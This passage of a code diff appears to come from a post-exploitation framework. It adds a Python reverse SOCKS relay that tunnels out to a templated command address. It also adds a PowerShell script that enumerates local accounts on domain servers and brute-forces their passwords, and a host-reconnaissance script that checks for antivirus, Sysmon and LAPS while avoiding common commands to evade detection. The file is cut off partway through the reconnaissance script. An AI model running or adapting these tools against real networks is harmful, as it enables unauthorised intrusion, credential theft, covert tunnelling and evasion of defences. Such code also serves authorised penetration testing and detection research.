3 from builtins import object
4 import argparse
5 import logging
6 import random
7 import select
8 import shlex
9 import signal
10 import socket
11 import ssl
12 import struct
13 import sys
14
15 MTYPE_NOOP = 0x00 # No-op. Used for keepalive messages
16 MTYPE_COPEN = 0x01 # Open Channel messages
17 MTYPE_CCLO = 0x02 # Close Channel messages
18 MTYPE_CADDR = 0x03 # Channel Address (remote endpoint address info)
19 MTYPE_DATA = 0x10 # Data messages
20
21
22 def recvall(s, size):
23 data = ''
24 while len(data) < size:
25 d = s.recv(size - len(data))
26 if not d:
27 break
28 data += d
29 return data
30
31
32 def integer_generator(seed=random.randint(0, 0xffffffff)):
33 while True:
34 seed = (seed + 1) % 0xffffffff
35 yield seed
36
37
38 class Message(object):
39 """ Container class with (un)serialization methods """
40 M_HDR_STRUCT = struct.Struct('!BII') # Message Type | Channel ID | Payload Size
41
42 def __init__(self, mtype=MTYPE_NOOP, channel=0, size=0):
43 self.mtype = mtype
44 self.channel = channel
45 self.size = size
46
47 def __str__(self):
48 return '<Message type={} channel={}>'.format(self.mtype, self.channel)
49
50 @classmethod
51 def unpack(cls, data):
52 if len(data) < cls.M_HDR_STRUCT.size:
53 raise ValueError('Attempting to unpack a Message header from too little data')
54 return Message(*cls.M_HDR_STRUCT.unpack(data[:cls.M_HDR_STRUCT.size])), data[cls.M_HDR_STRUCT.size:]
55
56 def pack(self, data=''):
57 self.size = len(data)
58 return self.M_HDR_STRUCT.pack(self.mtype, self.channel, self.size) + data
59
60
61 class Channel(object):
62 """ Container class with remote socket and channel id """
63 def __init__(self):
64 self.socket = None # type: socket.socket
65 self.channel_id = None
66 self.remote_peer_addr = None
67 self.local_peer_addr = None
68 self.socks_handler = SocksHandler()
69 self.logger = logging.getLogger(self.__class__.__name__)
70
71 def __str__(self):
72 return '<Channel id={} remote_addr={} local_addr={}>'.format(self.channel_id, self.remote_peer_addr, self.local_peer_addr)
73
74 @property
75 def connected(self):
76 return isinstance(self.socket, socket.socket)
77
78 def fileno(self):
79 return self.socket.fileno()
80
81 def close(self):
82 self.logger.debug('Closing channel {}'.format(self))
83 if self.connected:
84 try:
85 self.socket.shutdown(socket.SHUT_RDWR)
86 self.socket.close()
87 except Exception as e:
88 self.logger.debug('Unable to close channel: {}'.format(e))
89 self.socket = None
90
91
92 class Tunnel(object):
93 """ Container class with connected transport socket, list of Channels, and methods for passing Messages """
94 def __init__(self, transport_socket):
95 self.channels = [] # List[Channel]
96 self.transport_socket = transport_socket # type: socket.socket
97 self.logger = logging.getLogger(self.__class__.__name__)
98
99 def send_message(self, msg, data=''):
100 self.logger.debug('Sending {}'.format(msg))
101 try:
102 self.transport_socket.sendall(msg.pack(data))
103 except (socket.error, TypeError) as e:
104 self.logger.critical('Problem sending a message over transport: {}'.format(e))
105 sys.exit(255)
106
107 def recv_message(self):
108 try:
109 msg, _ = Message.unpack(recvall(self.transport_socket, Message.M_HDR_STRUCT.size))
110 except socket.error as e:
111 self.logger.critical('Problem receiving a message over transport: {}'.format(e))
112 sys.exit(255)
113 return msg, recvall(self.transport_socket, msg.size)
114
115 def get_channel_by_id(self, channel_id):
116 for c in self.channels:
117 if c.channel_id == channel_id:
118 return c
119 raise KeyError('Invalid channel number "{}"'.format(channel_id))
120
121 def open_channel(self, channel_id, remote=False):
122 c = Channel()
123 c.channel_id = channel_id
124 self.channels.append(c)
125 if remote:
126 msg = Message(mtype=MTYPE_COPEN, channel=c.channel_id)
127 self.send_message(msg)
128 return c
129
130 def close_channel(self, channel_id, remote=False):
131 for c in self.channels:
132 if c.channel_id == channel_id:
133 c.close()
134 self.channels.remove(c)
135 self.logger.info('Closed channel: {}'.format(c))
136 break
137 if remote:
138 msg = Message(mtype=MTYPE_CCLO, channel=channel_id)
139 self.send_message(msg)
140 return
141
142
143 class SocksHandler(object):
144 SOCKS5_AUTH_METHODS = {
145 0x00: 'No Authentication Required',
146 0x01: 'GSSAPI',
147 0x02: 'USERNAME/PASSWORD',
148 0xFF: 'NO ACCEPTABLE METHODS'
149 }
150
151 def __init__(self):
152 self.auth_handled = False
153 self.request_handled = False
154 self.logger = logging.getLogger(self.__class__.__name__)
155
156 def handle(self, channel, data):
157 # SOCKSv5 Auth message
158 if not self.auth_handled:
159 data = [ord(x) for x in data]
160
161 # Expecting [VERSION | NMETHODS | METHODS] (VERSION must be 0x05)
162 if len(data) < 2 or data[0] != 0x05 or len(data[2:]) != data[1]:
163 return struct.pack('BB', 0x05, 0xFF) # No Acceptable Auth Methods
164
165 methods = [self.SOCKS5_AUTH_METHODS.get(x, hex(x)) for x in data[2:]]
166 self.logger.debug('Received SOCKS auth request: {}'.format(', '.join(methods)))
167
168 self.auth_handled = True
169 return struct.pack('BB', 0x05, 0x00) # No Auth Required
170
171 elif not self.request_handled:
172 if len(data) < 4 or ord(data[0]) != 0x05:
173 return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
174 cmd = ord(data[1])
175 rsv = ord(data[2])
176 atyp = ord(data[3])
177 if cmd not in [0x01, 0x02, 0x03]:
178 return struct.pack('!BBBBIH', 0x05, 0x07, 0x00, 0x01, 0, 0) # Command not supported
179 if rsv != 0x00:
180 return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
181 if atyp not in [0x01, 0x03, 0x04]:
182 return struct.pack('!BBBBIH', 0x05, 0x08, 0x00, 0x01, 0, 0) # Address type not supported
183
184 if cmd == 0x01: # CONNECT
185 if atyp == 0x01: # IPv4
186 if len(data) != 10:
187 return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
188 host = socket.inet_ntop(socket.AF_INET, data[4:8])
189 port, = struct.unpack('!H', data[-2:])
190 af = socket.AF_INET
191 elif atyp == 0x03: # FQDN
192 size = ord(data[4])
193 if len(data[5:]) != size + 2:
194 return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
195 host = data[5:5+size]
196 port, = struct.unpack('!H', data[-2:])
197 af = socket.AF_INET
198 atyp = 0x01
199 elif atyp == 0x04: # IPv6
200 if len(data) != 22:
201 return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
202 host = socket.inet_ntop(socket.AF_INET6, data[5:21])
203 port, = struct.unpack('!H', data[-2:])
204 af = socket.AF_INET6
205 else:
206 raise NotImplementedError('Failed to implement handler for atype={}'.format(hex(atyp)))
207
208 self.logger.debug('Received SOCKSv5 CONNECT request for {}:{}'.format(host, port))
209
210 try:
211 s = socket.socket(af)
212 s.settimeout(2)
213 s.connect((host, port))
214 except socket.timeout:
215 return struct.pack('!BBBBIH', 0x05, 0x04, 0x00, 0x01, 0, 0) # host unreachable
216 except socket.error:
217 return struct.pack('!BBBBIH', 0x05, 0x05, 0x00, 0x01, 0, 0) # connection refused
218 except Exception:
219 return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
220 s.settimeout(None)
221 channel.socket = s
222 peer_host, peer_port = s.getpeername()[:2]
223 channel.local_peer_addr = '{}[{}]:{}'.format(host, peer_host, port)
224
225 local_host, local_port = s.getsockname()[:2]
226 bind_addr = socket.inet_pton(af, local_host)
227 bind_port = struct.pack('!H', local_port)
228
229 ret = struct.pack('!BBBB', 0x05, 0x00, 0x00, atyp) + bind_addr + bind_port
230 self.logger.info('Connected {}'.format(channel))
231 self.request_handled = True
232 return ret
233
234 elif cmd == 0x02: # BIND
235 raise NotImplementedError('Need to implement BIND command') # TODO
236
237 elif cmd == 0x03: # UDP ASSOCIATE
238 raise NotImplementedError('Need to implement UDP ASSOCIATE command') # TODO
239
240 else:
241 raise NotImplementedError('Failed to implemented handler for cmd={}'.format(hex(cmd)))
242
243
244 class SocksBase(object):
245 def __init__(self, transport_addr=('', 443), socks_addr=('', 1080), keepalive=None, key=None, cert=None):
246 self.tunnel = None # type: Tunnel
247 self.transport_addr = transport_addr
248 self.socks_addr = socks_addr
249 self.keepalive = keepalive
250 self.socks_socket = None # type: socket.socket
251 self.next_channel_id = integer_generator()
252 self.key = key
253 self.cert = cert
254 self.logger = logging.getLogger(self.__class__.__name__)
255
256 def check_socks_protocol(self, c, data):
257 return False
258
259 def monitor_sockets(self):
260 while True:
261 # Check tunnel and peer connections
262 sockets = [x for x in self.tunnel.channels if x.connected] + [self.tunnel.transport_socket]
263 if self.socks_socket is not None:
264 sockets.append(self.socks_socket)
265
266 try:
267 r, _, _ = select.select(sockets, [], [], self.keepalive)
268 except select.error:
269 continue
270
271 if not r:
272 msg = Message(mtype=MTYPE_NOOP) # timeout, send keepalive
273 self.tunnel.send_message(msg)
274 continue
275
276 if self.tunnel.transport_socket in r:
277 try:
278 msg, data = self.tunnel.recv_message()
279 except Exception as e:
280 self.logger.critical('Error receiving messages, exiting')
281 self.logger.debug('Error message: {}'.format(e))
282 self.tunnel.transport_socket.close()
283 return
284
285 if msg.mtype == MTYPE_NOOP:
286 self.logger.debug('Received keepalive message, discarding')
287
288 elif msg.mtype == MTYPE_COPEN:
289 c = self.tunnel.open_channel(msg.channel)
290 self.logger.debug('Received OpenChannel message, opened channel: {}'.format(c))
291
292 elif msg.mtype == MTYPE_CCLO:
293 try:
294 c = self.tunnel.get_channel_by_id(msg.channel)
295 self.tunnel.close_channel(msg.channel)
296 except KeyError:
297 pass
298 else:
299 self.logger.info('Closed a channel: {}'.format(c))
300
301 elif msg.mtype == MTYPE_CADDR:
302 try:
303 c = self.tunnel.get_channel_by_id(msg.channel)
304 except KeyError:
305 pass
306 else:
307 c.remote_peer_addr = data
308 self.logger.info('Channel connected remotely: {}'.format(c))
309
310 elif msg.mtype == MTYPE_DATA:
311 try:
312 c = self.tunnel.get_channel_by_id(msg.channel)
313 except KeyError:
314 pass
315 else:
316 self.logger.debug('Received {} bytes from tunnel for {}'.format(len(data), c))
317 if not self.check_socks_protocol(c, data):
318 try:
319 c.socket.sendall(data)
320 except:
321 self.logger.debug('Problem sending data to channel {}'.format(c))
322 self.tunnel.close_channel(msg.channel, remote=True)
323
324 else:
325 self.logger.warning('Received message of unknown type {}'.format(hex(msg.mtype)))
326
327 continue
328
329 if self.socks_socket is not None and self.socks_socket in r:
330 s, addr = self.socks_socket.accept()
331 addr = '{}:{}'.format(*addr)
332 c = self.tunnel.open_channel(next(self.next_channel_id), remote=True)
333 c.local_peer_addr = addr
334 c.socket = s
335 self.logger.info('Created new channel: {}'.format(c))
336 continue
337
338 for c in r:
339 try:
340 data = c.socket.recv(1024)
341 except Exception as e:
342 self.logger.debug('Problem recving from {}: {}'.format(c, e))
343 self.tunnel.close_channel(c.channel_id, remote=True)
344 break
345 if not data:
346 self.logger.debug('Received EOF from local socket, closing channel')
347 self.tunnel.close_channel(c.channel_id, remote=True)
348 msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
349 self.tunnel.send_message(msg, data=data)
350 self.logger.debug('Sent {} bytes over tunnel: {}'.format(len(data), msg))
351
352 def run(self):
353 raise NotImplementedError('Subclasses should implement the run() method')
354
355
356 class SocksRelay(SocksBase):
357 def check_socks_protocol(self, c, data):
358 if not c.socks_handler.auth_handled:
359 res = c.socks_handler.handle(c, data)
360 if not c.socks_handler.auth_handled:
361 self.logger.warning('SOCKS auth handler failed, expect channel close for {}'.format(c))
362 msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
363 self.tunnel.send_message(msg, data=res)
364 return True
365 elif not c.socks_handler.request_handled:
366 res = c.socks_handler.handle(c, data)
367 msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
368 self.tunnel.send_message(msg, data=res)
369 if not c.socks_handler.request_handled:
370 self.logger.warning('SOCKS req handler failed, expect channel close for {}'.format(c))
371 else:
372 msg = Message(mtype=MTYPE_CADDR, channel=c.channel_id)
373 self.tunnel.send_message(msg, data=c.local_peer_addr)
374 return True
375 else:
376 return False
377
378 def run(self):
379 s = socket.socket()
380 s = ssl.wrap_socket(s)
381 self.logger.debug('Connecting to {}:{}'.format(*self.transport_addr))
382 try:
383 s.connect(self.transport_addr)
384 except Exception as e:
385 self.logger.error('Problem connecting to server: {}'.format(e))
386 else:
387 self.logger.info('Connected to {}:{}'.format(*self.transport_addr))
388 self.tunnel = Tunnel(s)
389 self.monitor_sockets()
390 self.logger.warning('SOCKS relay is exiting')
391
392
393 def relay_main(tunnel_addr=''):
394 tunnel_addr = (tunnel_addr.split(':')[0], int(tunnel_addr.split(':')[1]))
395 relay = SocksRelay(transport_addr=tunnel_addr)
396 relay.run()
397 return
398
399
400 relay_main(tunnel_addr='${TUNNEL_ADDR}')
+182
-0
data/module_source/recon/Fetch-And-Brute-Local-Accounts.ps1 less more
0 #requires -Version 2.0
1
2 <#
3 .SYNOPSIS
4 Query for and brute force users on local (member) servers.
5 .DESCRIPTION
6 Use this script to query the local users of a member server (using known credentials, such as domain credentials) and to brute force the accounts using your own password list.
7 .EXAMPLE
8 C:\PS> C:\temp\Get-and-Brute-LocalAccount.ps1
9 .NOTES
10 Author : Maarten Hartsuijker - @classityinfosec
11 #>
12 function Fetch-Brute
13 {
14
15 Param
16 (
17 [Parameter(Position=0,Mandatory=$false)]
18 [ValidateNotNullorEmpty()]
19 [Alias('cn')][String[]]$ComputerName=$Env:COMPUTERNAME,
20 [Parameter(Position=1,Mandatory=$false)]
21 [Alias('un')][String[]]$AccountName,
22 [Parameter(Position=2,Mandatory=$false)]
23 [Alias('vbose')][String[]]$vbse,
24 [Parameter(Position=3,Mandatory=$false)]
25 [Alias('lacc')][String]$loginacc,
26 [Parameter(Position=4,Mandatory=$false)]
27 [Alias('lpass')][String]$loginpass,
28 [Parameter(Position=5,Mandatory=$false)]
29 [Alias('pl')][string[]]$passlist,
30 [Parameter(Position=6,Mandatory=$false)]
31 [Alias('st')][String[]]$servertype
32 )
33
34 # Create login credentials if account and password have been specified
35 if ($loginacc -and $loginpass) {
36 $secpasswd = ConvertTo-SecureString $loginpass -AsPlainText -Force
37 $Credential = New-Object System.Management.Automation.PSCredential ($loginacc, $secpasswd)
38 }
39
40 # defining some variables
41 if (!$servertype) { $objecttype="Window*Server*" } else { $objecttype=$servertype }
42 $foundpwd = 0
43 $verbose="$vbse"
44
45 # fetching servers in domain within the defined scope (server types)
46 $lijst = New-Object System.Collections.ArrayList
47 $objSearcher = New-Object System.DirectoryServices.DirectorySearcher
48 $objSearcher.Filter = "(OperatingSystem=$objecttype)"
49 "Name","canonicalname","distinguishedname" | Foreach-Object {$null = $objSearcher.PropertiesToLoad.Add($_) }
50 $hostlijst = $objSearcher.FindAll() | Select-Object @{n='Name';e={$_.properties['name']}} | select -expandproperty name -first 2
51 Write-Output "Discovered hosts: $hostlijst"
52
53 # Get the accounts with each server, using available credentials
54 foreach ($hostname in $hostlijst) {
55 if ($verbose) {Write-Output "Fetching accounts for: $hostname"}
56 $AllLocalAccounts="";
57 $accnaam = "";
58 $adsihit=0
59 $Obj = @()
60
61 # Query for local users using WMI (faster than ADSI)
62 If($Credential)
63 {
64 try
65 {
66 if ($verbose) {Write-Output "Try WMI using credentialed"}
67 $AllLocalAccounts = Get-WmiObject -Class Win32_UserAccount -Namespace "root\cimv2" `
68 -Filter "LocalAccount='$True'" -ComputerName $hostname -Credential $Credential -ErrorAction Stop
69 }
70 catch
71 { if ($verbose) {Write-Output "WMI supplied credentialled error"} }
72 }
73 else
74 {
75 try
76 {
77 if ($verbose) {Write-Output "Try WMI using agent credentials"}
78 $AllLocalAccounts = Get-WmiObject -Class Win32_UserAccount -Namespace "root\cimv2" `
79 -Filter "LocalAccount='$True'" -ComputerName $hostname -ErrorAction SilentlyContinue
80 }
81 catch
82 { if ($verbose) {Write-Output "WMI agent credentials error"} }
83 }
84 if ($AllLocalAccounts) { if ($verbose) {Write-Output "WMI accounts found: $AllLocalAccounts"} }
85
86 # sometimes, ADSI is available, where WMI isn't. ADSI will try using the user the empire agent is running as
87 if (!$AllLocalAccounts)
88 {
89 try
90 {
91 if ($verbose) {Write-Output "Retry using ADSI (agent credentials)"}
92 $adsihit = 1
93 $adsi = [ADSI]"WinNT://$hostname"
94 $AllLocalAccounts = $adsi.psbase.children | where {$_.psbase.schemaClassName -match "user"} | select @{n="Name";e={$_.name}} |Select-Object -ExpandProperty Name
95 if ($verbose) {$AllLocalAccounts}
96 }
97 catch
98 { if ($verbose) {Write-Output "ADSI Error"} }
99
100 }
101
102 Foreach($LocalAccount in $AllLocalAccounts)
103 {
104 # Don't include disabled and locked accounts (todo when using ADSI)
105 if (($LocalAccount.Disabled -Match "False") -and ($LocalAccount.Lockout -Match "False") -and ($adsihit -Match 0))
106 {
107 $accnaam = $LocalAccount.Name
108 $lijst.add($hostname+":"+$accnaam)
109 }
110 Elseif ($adsihit -gt 0)
111 {
112 $accnaam = $LocalAccount
113 $noout = $lijst.add($hostname+":"+$accnaam)
114 }
115 Else
116 { continue }
117 }
118 }
119
120 # Start Brute force
121 $hostcounter = $hostlijst.Count
122 $acccounter = $lijst.Count
123 Write-Output "Starting Brute Force for $hostcounter hosts and $acccounter accounts"
124
125 If($lijst)
126 {
127 Foreach($hit in $lijst)
128 {
129 $hname,$uname = $hit.split(':')
130
131 # Connect to machine
132 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
133 $contextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
134 Try
135 {
136 $principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $hname)
137 $success = $true
138 }
139 Catch
140 {
141 $message = "Unable to contact Host"
142 $success = $false
143 }
144
145 # If connected... Try passwords from the array
146 if($success -ne $false)
147 {
148 foreach ($password in $passlist)
149 {
150 Try
151 {
152 Write-Verbose "Checking $uname : $password (then sleeping for 1 seconds)"
153 $success = $principalContext.ValidateCredentials($uname, $password)
154 $message = "Password Match"
155 if ($success -eq $true)
156 {
157 Write-Output "Match found! $uname : $password"
158 $foundpwd++
159 }
160 else
161 {
162 if ($verbose) { Write-Output "NO $hname - $uname : $password" }
163 }
164 }
165 Catch
166 {
167 $success = $false
168 $message = "Password doesn't match"
169 }
170 Start-Sleep -Seconds 0.1
171 }
172 }
173 else
174 {
175 if ($verbose) { Write $message }
176 }
177 }
178 }
179 Write-Output "Found $foundpwd valid credentials"
180
181 }
+568
-0
data/module_source/situational_awareness/host/HostRecon.ps1 less more
0 function Invoke-HostRecon{
1
2 <#
3
4 .SYNOPSIS
5
6 This function runs a number of checks on a system to help provide situational awareness to a penetration tester during the reconnaissance phase. It gathers information about the local system, users, and domain information. It does not use any 'net', 'ipconfig', 'whoami', 'netstat', or other system commands to help avoid detection.
7
8 HostRecon Function: Invoke-HostRecon
9 Author: Beau Bullock (@dafthack) with credit to Joff Thyer (@joff_thyer) for the portscan module.
10 License: BSD 3-Clause
11 Required Dependencies: None
12 Optional Dependencies: None
13
14 .DESCRIPTION
15
16 This function runs a number of checks on a system to help provide situational awareness to a penetration tester during the reconnaissance phase. It gathers information about the local system, users, and domain information. It does not use any 'net', 'ipconfig', 'whoami', 'netstat', or other system commands to help avoid detection.
17
18 .PARAMETER Portscan
19
20 If this flag is added an outbound portscan will be initiated from the target system to allports.exposed. The top 50 ports as specified by the Nmap project will be scanned. This is useful in determining any egress filtering in use.
21
22 .PARAMETER TopPorts
23
24 This flag specifies the number of "top ports" to be scanned outbound from the system. Valid entries are 1-128. Default is 50.
25
26 .Example
27
28 C:\PS> Invoke-HostRecon
29
30 Description
31 -----------
32 This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC's, password policy).
33
34 .Example
35
36 C:\PS> Invoke-HostRecon -Portscan -TopPorts 128
37
38 Description
39 -----------
40 This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC's, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.
41
42 #>
43
44 Param(
45
46 [Parameter(Position = 0, Mandatory = $false)]
47 [switch]
48 $Portscan,
49
50 [Parameter(Position = 1, Mandatory = $false)]
51 [string]
52 $TopPorts = "50",
53
54 [Parameter(Position = 2, Mandatory = $false)]
55 [switch]
56 $DisableDomainChecks = $false,
57
58 [ValidateRange(1,65535)][String[]]$Portlist = ""
59
60 )
61
62 #Hostname
63
64 Write-Output "[*] Hostname"
65 $Computer = $env:COMPUTERNAME
66 $Computer
67 Write-Output "`n"
68
69 #IP Information
70
71 Write-Output "[*] IP Address Info"
72 $ipinfo = Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter 'IPEnabled = True'| Select-Object IPAddress,Description | Format-Table -Wrap | Out-String
73 $ipinfo
74 Write-Output "`n"
75
76 #Current user and domain
77
78 Write-Output "[*] Current Domain and Username"
79
80 $currentuser = $env:USERNAME
81 Write-Output "Domain = $env:USERDOMAIN"
82 Write-Output "Current User = $env:USERNAME"
83 Write-Output "`n"
84
85 #All local users
86
87 Write-Output "[*] Local Users of this system"
88 $locals = Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" | Select-Object Name
89 $locals
90 Write-Output "`n"
91
92 #Local Admins group
93
94 Write-Output "[*] Local Admins of this system"
95 $Admins = Get-WmiObject win32_groupuser | Where-Object { $_.GroupComponent -match 'administrators' -and ($_.GroupComponent -match "Domain=`"$env:COMPUTERNAME`"")} | ForEach-Object {[wmi]$_.PartComponent } | Select-Object Caption,SID | format-table -Wrap | Out-String
96 $Admins
97 Write-Output "`n"
98
99 #Netstat Information
100 #Some code here borrowed from: http://techibee.com/powershell/query-list-of-listening-ports-in-windows-using-powershell/2344
101 Write-Output "[*] Active Network Connections"
102 $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
103 $Connections = $TCPProperties.GetActiveTcpConnections()
104 $objarray = @()
105 foreach($Connection in $Connections) {
106 if($Connection.LocalEndPoint.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }
107 $OutputObj = New-Object -TypeName PSobject
108 $OutputObj | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $Connection.LocalEndPoint.Address
109 $OutputObj | Add-Member -MemberType NoteProperty -Name "LocalPort" -Value $Connection.LocalEndPoint.Port
110 $OutputObj | Add-Member -MemberType NoteProperty -Name "RemoteAddress" -Value $Connection.RemoteEndPoint.Address
111 $OutputObj | Add-Member -MemberType NoteProperty -Name "RemotePort" -Value $Connection.RemoteEndPoint.Port
112 $OutputObj | Add-Member -MemberType NoteProperty -Name "State" -Value $Connection.State
113 $OutputObj | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType
114 $objarray += $OutputObj
115 }
116 $activeconnections = $objarray | Format-Table -Wrap | Out-String
117 $activeconnections
118
119 Write-Output "[*] Active TCP Listeners"
120 $ListenConnections = $TCPProperties.GetActiveTcpListeners()
121 $objarraylisten = @()
122 foreach($Connection in $ListenConnections) {
123 if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }
124 $OutputObjListen = New-Object -TypeName PSobject
125 $OutputObjListen | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $connection.Address
126 $OutputObjListen | Add-Member -MemberType NoteProperty -Name "ListeningPort" -Value $Connection.Port
127 $OutputObjListen | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType
128 $objarraylisten += $OutputObjListen }
129 $listeners = $objarraylisten | Format-Table -Wrap | Out-String
130 $listeners
131
132 Write-Output "`n"
133
134 #DNS Cache Information
135
136 Write-Output "[*] DNS Cache"
137
138 try{
139 $dnscache = Get-WmiObject -query "Select * from MSFT_DNSClientCache" -Namespace "root\standardcimv2" -ErrorAction stop | Select-Object Entry,Name,Data | Format-Table -Wrap | Out-String
140 $dnscache
141 }
142 catch
143 {
144 Write-Output "There was an error retrieving the DNS cache."
145 }
146 Write-Output "`n"
147
148 #Shares
149
150 Write-Output "[*] Share listing"
151 $shares = @()
152 $shares = Get-WmiObject -Class Win32_Share | Format-Table -Wrap | Out-String
153 $shares
154 Write-Output "`n"
155
156 #Scheduled Tasks
157
158 Write-Output "[*] List of scheduled tasks"
159 $schedule = new-object -com("Schedule.Service")
160 $schedule.connect()
161 $tasks = $schedule.getfolder("\").gettasks(0) | Select-Object Name | Format-Table -Wrap | Out-String
162 If ($tasks.count -eq 0)
163 {
164 Write-Output "[*] Task scheduler appears to be empty"
165 }
166 If ($tasks.count -ne 0)
167 {
168 $tasks
169 }
170 Write-Output "`n"
171
172 #Proxy information
173
174 Write-Output "[*] Proxy Info"
175 $proxyenabled = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').proxyEnable
176 $proxyserver = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').proxyServer
177
178 If ($proxyenabled -eq 1)
179 {
180 Write-Output "A system proxy appears to be enabled."
181 Write-Output "System proxy located at: $proxyserver"
182 }
183 Elseif($proxyenabled -eq 0)
184 {
185 Write-Output "There does not appear to be a system proxy enabled."
186 }
187 Write-Output "`n"
188
189 #Getting AntiVirus Information
190
191
192 Write-Output "[*] Checking if AV is installed"
193
194 $AV = Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct"
195
196 If ($AV -ne "")
197 {
198 Write-Output "The following AntiVirus product appears to be installed:" $AV.displayName
199 }
200 If ($AV -eq "")
201 {
202 Write-Output "No AV detected."
203 }
204 Write-Output "`n"
205
206 #Getting Local Firewall Status
207
208 Write-Output "[*] Checking local firewall status."
209 $HKLM = 2147483650
210 $reg = get-wmiobject -list -namespace root\default -computer $computer | where-object { $_.name -eq "StdRegProv" }
211 $firewallEnabled = $reg.GetDwordValue($HKLM, "System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile","EnableFirewall")
212 $fwenabled = [bool]($firewallEnabled.uValue)
213
214 If($fwenabled -eq $true)
215 {
216 Write-Output "The local firewall appears to be enabled."
217 }
218 If($fwenabled -ne $true)
219 {
220 Write-Output "The local firewall appears to be disabled."
221 }
222 Write-Output "`n"
223
224 #Checking for Local Admin Password Solution (LAPS)
225
226 Write-Output "[*] Checking for Local Admin Password Solution (LAPS)"
227 try
228 {
229 $lapsfile = Get-ChildItem "$env:ProgramFiles\LAPS\CSE\Admpwd.dll" -ErrorAction Stop
230 if ($lapsfile)
231 {
232 Write-Output "The LAPS DLL (Admpwd.dll) was found. Local Admin password randomization may be in use."
233 }
234 }
235 catch
236 {
237 Write-Output "The LAPS DLL was not found."
238 }
239 Write-Output "`n"
240
241 #Process Information
242
243 Write-Output "[*] Running Processes"
244
245 $processes = Get-Process | Select-Object ProcessName,Id,Description,Path
246 $processout = $processes | Format-Table -Wrap | Out-String
247 $processout
248 Write-Output "`n"
249
250 #Checking for common security products
251
252 Write-Output "[*] Checking for Sysinternals Sysmon"
253 try
254 {
255 $sysmondrv = Get-ChildItem "$env:SystemRoot\sysmondrv.sys" -ErrorAction Stop
256 if ($sysmondrv)
257 {
258 Write-Output "The Sysmon driver $($sysmondrv.VersionInfo.FileVersion) (sysmondrv.sys) was found. System activity may be monitored."
259 }
260 }
261 catch
262 {
263 Write-Output "The Sysmon driver was not found."
264 }
265 Write-Output "`n"
266
267 Write-Output "[*] Checking for common security product processes"
268 $processnames = $processes | Select-Object ProcessName
269 Foreach ($ps in $processnames)
270 {
271 #AV
272 if ($ps.ProcessName -like "*mcshield*")
273 {
274 Write-Output ("Possible McAfee AV process " + $ps.ProcessName + " is running.")
275 }
276 if (($ps.ProcessName -like "*windefend*") -or ($ps.ProcessName -like "*MSASCui*") -or ($ps.ProcessName -like "*msmpeng*") -or ($ps.ProcessName -like "*msmpsvc*"))
277 {
278 Write-Output ("Possible Windows Defender AV process " + $ps.ProcessName + " is running.")
279 }
280 if ($ps.ProcessName -like "*WRSA*")
281 {
282 Write-Output ("Possible WebRoot AV process " + $ps.ProcessName + " is running.")
283 }
284 if ($ps.ProcessName -like "*savservice*")
285 {
286 Write-Output ("Possible Sophos AV process " + $ps.ProcessName + " is running.")
287 }
288 if (($ps.ProcessName -like "*TMCCSF*") -or ($ps.ProcessName -like "*TmListen*") -or ($ps.ProcessName -like "*NTRtScan*"))
289 {
290 Write-Output ("Possible Trend Micro AV process " + $ps.ProcessName + " is running.")
291 }
292 if (($ps.ProcessName -like "*symantec antivirus*") -or ($ps.ProcessName -like "*SymCorpUI*") -or ($ps.ProcessName -like "*ccSvcHst*") -or ($ps.ProcessName -like "*SMC*") -or ($ps.ProcessName -like "*Rtvscan*"))
293 {
294 Write-Output ("Possible Symantec AV process " + $ps.ProcessName + " is running.")
295 }
296 if ($ps.ProcessName -like "*mbae*")
297 {
298 Write-Output ("Possible MalwareBytes Anti-Exploit process " + $ps.ProcessName + " is running.")
299 }
300 #if ($ps.ProcessName -like "*mbam*")
301 # {
302 # Write-Output ("Possible MalwareBytes Anti-Malware process " + $ps.ProcessName + " is running.")
303 # }
304 #AppWhitelisting
305 if ($ps.ProcessName -like "*Parity*")
306 {
307 Write-Output ("Possible Bit9 application whitelisting process " + $ps.ProcessName + " is running.")
308 }
309 #Behavioral Analysis
310 if ($ps.ProcessName -like "*cb*")
311 {
312 Write-Output ("Possible Carbon Black behavioral analysis process " + $ps.ProcessName + " is running.")
313 }
314 if ($ps.ProcessName -like "*bds-vision*")
315 {
316 Write-Output ("Possible BDS Vision behavioral analysis process " + $ps.ProcessName + " is running.")
317 }
318 if ($ps.ProcessName -like "*Triumfant*")
319 {
